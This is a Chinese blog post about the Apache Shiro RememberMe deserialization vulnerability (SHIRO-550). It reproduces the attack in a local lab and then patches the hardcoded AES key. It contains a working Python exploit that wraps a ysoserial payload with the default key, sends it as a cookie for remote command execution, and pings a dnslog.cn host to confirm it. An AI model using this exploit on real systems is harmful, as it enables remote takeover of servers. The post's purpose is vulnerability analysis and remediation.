飞道的博客

Apache Shiro反序列化漏洞研究及解决方法

280人阅读  评论(0)

前言

一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动了,原以为是出了什么新需求临时需要调整,没想到客户反馈的是平台出现了严重漏洞,不敢小视,抄起电脑开弄

我根据客户给出的安全厂商反馈的问题,总结如下:

1,Shiro反序列化漏洞

2,提到了dnslog.cn平台

了解Shiro反序列化漏洞

参考官方的JIRA文档记录,https://issues.apache.org/jira/browse/SHIRO-550

原因是Shiro的RememberMe出的问题

官方也给出了问题的描述

大概的意思就是:Shiro提供了RememberMe的功能,当用户关闭浏览器,下次再打开浏览器访问时,还是能记住我是谁,无需登录即可访问。其实很多网站都有这功能,继续看,Shiro对RememberMe的Cookie做了加密处理,在CookieRememberMeManaer类中将Cookie中RememberMe字段内容分别进行序列化、AES加密、Base64编码等操作,但是默认的加密AES Key是硬编码进去的,都知道这个Key是什么,所以在逆向操作反序列化、Base64解密的时候,攻击者就可以伪造恶意数据通过反序列化远程执行命令,危害很大很大滴。

dnslog.cn的作用

经过查询,这个网站是一个用来检测带外流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。简单说,我自己的理解是一个安全人员的工具,收集一些测试过程中DNS查询、NS查询的日志信息,这里我们用来远程执行命令,比如ping XXX.dnslog.cn,然后再去dnslog.cn看看是否是通过服务ping到了他,如果有,证明远程执行了命令

漏洞模拟利用

大概知道了漏洞的原因和利用方式,接下来找到shiro的项目进行模拟攻击,攻击的过程大概就是:

  • 启动存在Shiro问题的项目工程,网上有现成的
  • 利用网上写好的Exp工具,漏洞从服务端执行ping命令,ping dnslog地址,看看其是否能收集到信息

搭建Shiro环境

下载有问题的Shiro项目,有人已经做好了,是一个docker image,https://github.com/Medicean/VulApps/tree/master/s/shiro/1,搭建完docker环境之后,由于需要解决问题,为了方便我把war拷贝到我本地机器,通过Tomcat运行。

准备测试工具

网上有很多写的现成的利用工具,基本都是Python的,我的环境是win10,已经有python3环境了,没有的自行安装一下,首先安装第三方库:

pip install requests

pip install Crypto

安装完了Crypto之后也会报错,找不到模块,上网搜了一下发现这个库停更了挺长时间了,改用pycryptodome,

pip install pycryptodome

库安装好之后,在晚上找一个EXP工具的代码,代码如下:


  
  1. import os
  2. import re
  3. import base64
  4. import uuid
  5. import subprocess
  6. import requests
  7. from Crypto.Cipher import AES
  8. JAR_FILE = 'ysoserial.jar'
  9. def poc(url, rce_command):
  10. if '://' not in url:
  11. target = 'https://%s' % url if ':443' in url else 'http://%s' % url
  12. else:
  13. target = url
  14. try:
  15. payload = generator(rce_command, JAR_FILE) # 生成payload
  16. print (payload)
  17. r = requests.get(target, cookies={ 'rememberMe': payload.decode()}, timeout= 10) # 发送验证请求
  18. print (r.text)
  19. except Exception:
  20. pass
  21. return False
  22. def generator(command, fp):
  23. if not os.path.exists(fp):
  24. raise Exception( 'jar file not found!')
  25. popen = subprocess.Popen([ 'java', '-jar', fp, 'CommonsCollections2', command],stdout=subprocess.PIPE)
  26. BS = AES.block_size
  27. pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  28. key = "kPH+bIxk5D2deZiIxcaaaA=="
  29. mode = AES.MODE_CBC
  30. iv = uuid.uuid4().bytes
  31. encryptor = AES.new(base64.b64decode(key), mode, iv)
  32. file_body = pad(popen.stdout.read())
  33. base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
  34. return base64_ciphertext
  35. if __name__ == '__main__':
  36. poc( 'http://localhost:8080', 'ping d0nenv.dnslog.cn')

以上代码,需要知道几个问题

  • DES key的值,这就是上面所说硬编码的值,需要跟Shiro jar包里的Key对应好
  • 执行jar命令的参数CommonsCollections2,此时我们Shiro中的Common-Collections的版本是4.0,对应使用CommonsCollections2的参数
  • 还有就是代码最下方,Shiro项目的访问地址,和后面执行的命令,ping dnslog的命令。 

然后打开dnslog.cn,如下操作,点击Get SubDomain,对应写好上面的ping命令,一会要用到。

然后在VSCode里新建python文件,复制上面的代码,然后把代码里用到的jar包下载下来,重命名放到跟python代码同一级目录中


  
  1. git clone https: //github.com/frohoff/ysoserial.git
  2. cd ysoserial
  3. mvn package -DskipTests

模拟测试

启动Shiro的工程,访问地址http://localhost:8080,此时代码是有问题的,运行EXP工具测试,刷新dnslog

如上图,命令已经执行了(有一条查询结果),说明漏洞确实存在的。

修复漏洞问题 

上述问题,其实只要解决了硬编码的DES Key值就可以了,找了一下网上说的解决办法,总结如下几种:

1,升级shiro,我这边情况项目比较老,升级依赖导致的问题解决起来比较麻烦,不采用此种方式

2,修改Key的编码,修改Shiro源代码AbstractRememberMeManager中的Key值,然后替换到jar包里,不公开

生成新的Key编码,可以用下面的方法:


  
  1. import org.apache.shiro.codec.Base64;
  2. import javax.crypto.KeyGenerator;
  3. import javax.crypto.SecretKey;
  4. import java.security.NoSuchAlgorithmException;
  5. public class Test {
  6. public static void main(String[] args) {
  7. KeyGenerator keygen = null;
  8. try {
  9. keygen = KeyGenerator.getInstance( "AES");
  10. } catch (NoSuchAlgorithmException e) {
  11. e.printStackTrace();
  12. }
  13. SecretKey deskey = keygen.generateKey();
  14. System.out.println(Base64.encodeToString(deskey.getEncoded()));
  15. }
  16. }

3,生成随机编码,在Shiro配置文件中把SecurityManage加入rememberMeManager的配置,然后调用生成Key值得方法,随机生成,可参考文章(https://blog.csdn.net/weixin_38307489/article/details/104618667)的做法,建议才采用这种。

我采用的是方法2,这里说一下具体的做法,首先下载Shiro的源代码,根据你用的版本来下载:


  
  1. git clone https: //github.com/apache/shiro.git
  2. git checkout shiro-root -1.2 .4

下载后,找到源代码地址在core目录下找到AbstractRememberMeManager,用上面的代码main方法直接生成新的值,修改为新值,如下图

改完之后,找到Shiro源码的POM文件,执行mvn package -DskipTests打包,找到打好的class文件,替换到程序目录下的lib文件中。

然后启动服务,测试一下,问题解决 ~~ 

遇到的问题 

1, Maven build shiro jar包的时候,报了一个toolchain的问题,原因是我的Maven安装目录下,conf/toolchains.xml里没有配置,但是POM文件用到了,根据情况可以修改成:


  
  1. <toolchain>
  2. <type>jdk </type>
  3. <provides>
  4. <version>1.6 </version>
  5. <vendor>sun </vendor>
  6. </provides>
  7. <configuration>
  8. <jdkHome>C:\\Program Files\\Java\\jdk1.6.0_45 </jdkHome>
  9. </configuration>
  10. </toolchain>

2,关于Payload的概念

维基百科释义


  
  1. 在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体。
  2. 信头与元数据,或称为开销数据,仅用于辅助数据传输。
  3. 在计算机病毒或电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。

 简单说,Payload就是对于接收者有用的数据。

参考资料: 

https://blog.csdn.net/weixin_38307489/article/details/104618667

https://paper.seebug.org/shiro-rememberme-1-2-4/

https://issues.apache.org/jira/browse/SHIRO-550


转载:https://blog.csdn.net/Dothwinds/article/details/105244830
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场